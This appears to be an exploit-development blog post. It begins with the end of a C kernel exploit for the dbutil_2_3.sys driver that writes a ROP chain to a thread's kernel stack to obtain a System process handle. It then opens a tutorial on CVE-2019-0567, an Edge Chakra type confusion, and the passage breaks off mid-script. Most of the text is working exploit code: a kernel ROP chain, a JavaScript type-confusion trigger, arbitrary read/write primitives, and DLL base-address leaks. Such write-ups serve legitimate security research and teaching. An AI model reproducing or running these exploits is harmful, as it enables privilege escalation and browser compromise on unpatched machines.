ULONG64 resolventBase(void)
{
	//
	// Array to receive kernel-mode addresses
	//
	LPVOID* lpImageBase = NULL;

	//
	// Size of the input array
	//
	DWORD cb = 0;

	//
	// Size of the array output (all load addresses).
	//
	DWORD lpcbNeeded = 0;

	//
	// Invoke EnumDeviceDrivers (and have it fail)
	// to receive the needed size of lpImageBase
	//
	EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// lpcbNeeded should contain needed size
	//
	lpImageBase = (LPVOID*)malloc(lpcbNeeded);

	//
	// Error handling
	//
	if (lpImageBase == NULL)
	{
		//
		// Bail out
		// 
		goto exit;
	}

	//
	// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase
	// array).
	//
	cb = lpcbNeeded;

	//
	// Invoke EnumDeviceDrivers properly.
	//
	BOOL getAddrs = EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// Error handling
	//
	if (!getAddrs)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// The first element of the array is ntoskrnl.exe.
	//
	return (ULONG64)lpImageBase[0];

//
// Execution reaches here if an error occurs
//
exit:

	//
	// Return an error.
	//
	return (ULONG64)1;
}

/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */
BOOL constructROPChain(HANDLE inHandle, HANDLE dummyThread, ULONG64 KTHREAD, ULONG64 ntBase)
{
	//
	// KTHREAD.StackBase = KTHREAD + 0x38
	//
	ULONG64 kthreadstackBase = KTHREAD + 0x38;

	//
	// Dereference KTHREAD.StackBase to leak the stack
	//
	ULONG64 stackBase = read64(inHandle, kthreadstackBase);

	//
	// Error handling
	//
	if (stackBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Leaked kernel-mode stack: 0x%llx\n", stackBase);

	//
	// Variable to store our target return address for nt!KiApcInterrupt
	//
	ULONG64 retAddr = 0;

	//
	// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)
	// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower
	// addresses.
	//
	for (int i = 0x8; i < 0x7000 - 0x8; i += 0x8)
	{
		//
		// Invoke read64() to dereference the stack
		//
		ULONG64 value = read64(inHandle, stackBase - i);

		//
		// Kernel-mode address?
		//
		if ((value & 0xfffff00000000000) == 0xfffff00000000000)
		{
			//
			// nt!KiApcInterrupt+0x328?
			//
			if (value == ntBase + 0x41b718)
			{
				//
				// Print update
				//
				printf("[+] Leaked target return address of nt!KiApcInterrupt!\n");

				//
				// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328
				//
				retAddr = stackBase - i;

				//
				// Break the loop if we find our address
				//
				break;
			}
		}

		//
		// Reset the value
		//
		value = 0;
	}

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

	//
	// Handle to the System process
	//
	HANDLE systemprocHandle = NULL;

	//
	// CLIENT_ID
	//
	CLIENT_ID clientId = { 0 };
	clientId.UniqueProcess = ULongToHandle(4);
	clientId.UniqueThread = NULL;

	//
	// Declare OBJECT_ATTRIBUTES
	//
	OBJECT_ATTRIBUTES objAttrs = { 0 };

	//
	// memset the buffer to 0
	//
	memset(&objAttrs, 0, sizeof(objAttrs));

	//
	// Set members
	//
	objAttrs.ObjectName = NULL;
	objAttrs.Length = sizeof(objAttrs);
	
	//
	// Begin ROP chain
	//
	write64(inHandle, retAddr, ntBase + 0xa50296);				// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x8, &systemprocHandle);		// HANDLE (to receive System process handle)
	write64(inHandle, retAddr + 0x10, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x18, PROCESS_ALL_ACCESS);		// PROCESS_ALL_ACCESS
	write64(inHandle, retAddr + 0x20, ntBase + 0x2e8281);		// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x28, &objAttrs);				// OBJECT_ATTRIBUTES
	write64(inHandle, retAddr + 0x30, ntBase + 0x42a123);		// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x38, &clientId);				// CLIENT_ID
	write64(inHandle, retAddr + 0x40, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x48, ntBase + 0x413210);		// nt!ZwOpenProcess
	write64(inHandle, retAddr + 0x50, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	write64(inHandle, retAddr + 0x58, ntBase + 0xa50296);		// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x60, (ULONG64)dummyThread);	// HANDLE to the dummy thread
	write64(inHandle, retAddr + 0x68, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x70, 0x0000000000000000);		// Set exit code to STATUS_SUCCESS
	write64(inHandle, retAddr + 0x78, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x80, ntBase + 0x4137b0);		// nt!ZwTerminateThread
	write64(inHandle, retAddr + 0x88, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	
	//
	// Resume the thread to kick off execution
	//
	ResumeThread(dummyThread);

	//
	// Sleep Project2.ee for 1 second to allow the print update
	// to accurately display the System process handle
	//
	Sleep(1000);

	//
	// Print update
	//
	printf("[+] System process HANDLE: 0x%p\n", systemprocHandle);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)1;
}

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakStack()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe
	//
	ULONG64 ntBase = resolventBase();

	//
	// Error handling
	//
	if (ntBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Invoke constructROPChain() to build our ROP chain and kick off execution
	//
	BOOL createROP = constructROPChain(driverHandle, getthreadHandle, kthread, ntBase);

	//
	// Error handling
	//
	if (!createROP)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to construct the ROP chain. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

Peace, love, and positivity :-).

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 3)

7 April 2022 at 00:00

Introduction

In part one of this blog series on “modern” browser exploitation, targeting Windows, we took a look at how JavaScript manages objects in memory via the Chakra/ChakraCore JavaScript engine and saw how type confusion vulnerabilities arise. In part two we took a look at Chakra/ChakraCore exploit primitives and turning our type confusion proof-of-concept into a working exploit on ChakraCore, while dealing with ASLR, DEP, and CFG. In part three, this post, we will close out this series by making a few minor tweaks to our exploit primitives to go from ChakraCore to Chakra (the closed-source version of ChakraCore which Microsoft Edge runs on in various versions of Windows 10). After porting our exploit primitives to Edge, we will then gain full code execution while bypassing Arbitrary Code Guard (ACG), Code Integrity Guard (CIG), and other minor mitigations in Edge, most notably “no child processes” in Edge. The final result will be a working exploit that can gain code execution with ASLR, DEP, CFG, ACG, CIG, and other mitigations enabled.

From ChakraCore to Chakra

Since we already have a working exploit for ChakraCore, we now need to port it to Edge. As we know, Chakra (Edge) is the “closed-source” variant of ChakraCore. There are not many differences between how our exploits will look (in terms of exploit primitives). The only thing we need to do is update a few of the offsets from our ChakraCore exploit to be compliant with the version of Edge we are exploiting. Again, as mentioned in part one, we will be using an UNPATCHED version of Windows 10 1703 (RS2). Below is an output of winver.exe, which shows the build number (15063.0) we are using. The version of Edge we are using has no patches and no service packs installed.

Moving on, below you can find the code that we will be using as a template for our exploitation. We will name this file exploit.html and save it to our Desktop (feel free to save it anywhere you would like).

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
}
</script>

Nothing about this code differs in the slightest from our previous exploit.js code, except for the fact we are now using an HTML, as obviously this is the type of file Edge expects as it’s a web browser. This also means that we have replaced print() functions with proper document.write() HTML methods in order to print our exploit output to the screen. We have also added a <script></script> tag to allow us to execute our malicious JavaScript in the browser. Additionally, we added functionality in the <button onclick="main()">Click me to exploit CVE-2019-0567!</button> line, where our exploit won’t be executed as soon as the web page is opened. Instead, this button allows us choose when we want to detonate our exploit. This will aid us in debugging as we will see shortly.

Once we have saved exploit.html, we can double-click on it and select Microsoft Edge as the application we want to open it with. From there, we should be presented with our Click me to exploit CVE-2019-0567 button.

After we have loaded the web page, we can then click on the button to run the code presented above for exploit.html.

As we can see, everything works as expected (per our post number two in this blog series) and we leak the vftable from one of our DataView objects, from our exploit primitive, which is a pointer into chakra.dll. However, as we are exploiting Edge itself now and not the ChakraCore engine, computation of the base address of chakra.dll will be slightly different. To do this, we need to debug Microsoft Edge in order to compute the distance between our leaked address and chakra.dll’s base address. With that said, we will need to talk about debugging Edge in order to compute the base address of chakra.dll.

We will begin by making use of Process Hacker to aid in our debugging. After downloading Process Hacker, we can go ahead and start it.

After starting Process Hacker, let’s go ahead and re-open exploit.html but do not click on the Click me to exploit CVE-2019-0567 button yet.

Coming back to Process Hacker, we can see two MicrosoftEdgeCP.exe processes and a MicrosoftEdge.exe process.

Where do these various processes come from? As the CP in MicrosoftEdgeCP.exe infers, these are Microsoft Edge content processes. A content process, also known as a renderer process, is the actual component of the browser which executes the JavaScript, HTML, and CSS code a user interfaces with. In this case, we can see two MicrosoftEdgeCP.exe processes. One of these processes refers to the actual content we are seeing (the actual exploit.html web page). The other MicrosoftEdgeCP.exe process is technically not a content process, per se, and is actually the out-of-process JIT server which we talked about previously in this blog series. What does this actually mean?

JIT’d code is code that is generated as readable, writable, and executable (RWX). This is also known as “dynamic code” which is generated at runtime, and it doesn’t exist when the Microsoft Edge processes are spawned. We will talk about Arbitrary Code Guard (ACG) in a bit, but at a high level ACG prohibits any dynamic code (amongst other nuances we will speak of at the appropriate time) from being generated which is readable, writable, and executable (RWX). Since ACG is a mitigation, which was actually developed with browser exploitation and Edge in mind, there is a slight usability issue. Since JIT’d code is a massive component of a modern day browser, this automatically makes ACG incompatible with Edge. If ACG is enabled, then how can JIT’d code be generated, as it is RWX? The solution to this problem is by leveraging an out-of-process JIT server (located in the second MicrosoftEdgeCP.exe process).

This JIT server process has Arbitrary Code Guard disabled. The reason for this is because the JIT process doesn’t handle any execution of “untrusted” JavaScript code - meaning the JIT server can’t really be exploited by browser exploitation-related primitives, like a type confusion vulnerability (we will prove this assumption false with our ACG bypass). The reason is that since the JIT process doesn’t execute any of that JavaScript, HTML, or CSS code, meaning we can infer the JIT server doesn’t handled any “untrusted code”, a.k.a JavaScript provided by a given web page, we can infer that any code running within the JIT server is “trusted” code and therefore we don’t need to place “unnecessary constraints” on the process. With the out-of-process JIT server having no ACG-enablement, this means the JIT server process is now compatible with “JIT” and can generate the needed RWX code that JIT requires. The main issue, however, is how do we get this code (which is currently in a separate process) into the appropriate content process where it will actually be executed?

The way this works is that the out-of-process JIT server will actually take any JIT’d code that needs to be executed, and it will inject it into the content processes that contain the JavaScript code to be executed with proper permissions that are ACG complaint (generally readable/executable). So, at a high level, this out-of-process JIT server performs process injection to map the JIT’d code into the content processes (which has ACG enabled). This allows the Edge content processes, which are responsible for handling untrusted code like a web page that hosts malicious JavaScript to perform memory corruption (e.g. exploit.html), to have full ACG support.

Lastly, we have the MicrosoftEdge.exe process which is known as the browser process. It is the “main” process which helps to manage things like network requests and file access.

Armed with the above information, let’s now turn our attention back to Process Hacker.

The obvious point we can make is that when we do our exploit debugging, we know the content process is responsible for execution of the JavaScript code within our web page - meaning that it is the process we need to debug as it will be responsible for execution of our exploit. However, since the out-of-process JIT server is technically named as a content process, this makes for two instances of MicrosoftEdgeCP.exe. How do we know which is the out-of-process JIT server and which is the actual content process? This probably isn’t the best way to tell, but the way I figured this out with approximately 100% accuracy is by looking at the two content processes (MicrosoftEdgeCP.exe) and determining which one uses up more RAM. In my testing, the process which uses up more RAM is the target process for debugging (as it is significantly more, and makes sense as the content process has to load JavaScript, HTML, and CSS code into memory for execution). With that in mind, we can break down the process tree as such (based on the Process Hacker image above):

  1. MicrosoftEdge.exe - PID 3740 (browser process)
  2. MicrosoftEdgeCP.exe - PID 2668 (out-of-process JIT server)
  3. MicrosoftEdgeCP.exe - PID 2512 (content process - our “exploiting process” we want to debug).

With the aforementioned knowledge we can attach PID 2512 (our content process, which will likely differ on your machine) to WinDbg and know that this is the process responsible for execution of our JavaScript code. More importantly, this process loads the Chakra JavaScript engine DLL, chakra.dll.

After confirming chakra.dll is loaded into the process space, we then can click out Click me to exploit CVE-2019-0567 button (you may have to click it twice). This will run our exploit, and from here we can calculate the distance to chakra.dll in order to compute the base of chakra.dll.

As we can see above, the leaked vftable pointer is 0x5d0bf8 bytes away from chakra.dll. We can then update our exploit script to the following code, and confirm this to be the case.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
}
</script>

After computing the base address of chakra.dll the next thing we need to do is, as shown in part two, leak an import address table (IAT) entry that points to kernel32.dll (in this case kernelbase.dll, which contains all of the functionality of kernel32.dll).

Using the same debugging session, or a new one if you prefer (following the aforementioned steps to locate the content process), we can locate the IAT for chakra.dll with the !dh command.

If we dive a bit deeper into the IAT, we can see there are several pointers to kernelbase.dll, which contains many of the important APIs such as VirtualProtect we need to bypass DEP and ACG. Specifically, for our exploit, we will go ahead and extract the pointer to kernelbase!DuplicateHandle as our kernelbase.dll leak, as we will need this API in the future for our ACG bypass.

What this means is that we can use our read primitive to read what chakra_base+0x5ee2b8 points to (which is a pointer into kernelbase.dll). We then can compute the base address of kernelbase.dll by subtracting the offset to DuplicateHandle from the base of kernelbase.dll in the debugger.

We now know that DuplicateHandle is 0x18de0 bytes away from kernelbase.dll’s base address. Armed with the following information, we can update exploit.html as follows and detonate it.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
}
</script>

We are now almost done porting our exploit primitives to Edge from ChakraCore. As we can recall from our ChakraCore exploit, the last thing we need to do now is leak a stack address/the stack in order to bypass CFG for control-flow hijacking and code execution.

Recall that this information derives from this Google Project Zero issue. As we can recall with our ChakraCore exploit, we computed these offsets in WinDbg and determined that ChakraCore leveraged slightly different offsets. However, since we are now targeting Edge, we can update the offsets to those mentioned by Ivan Fratric in this issue.

However, even though the type->scriptContext->threadContext offsets will be the ones mentioned in the Project Zero issue, the stack address offset is slightly different. We will go ahead and debug this with alert() statements.

We know we have to leak a type pointer (which we already have stored in exploit.html the same way as part two of this blog series) in order to leak a stack address. Let’s update our exploit.html with a few items to aid in our debugging for leaking a stack address.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
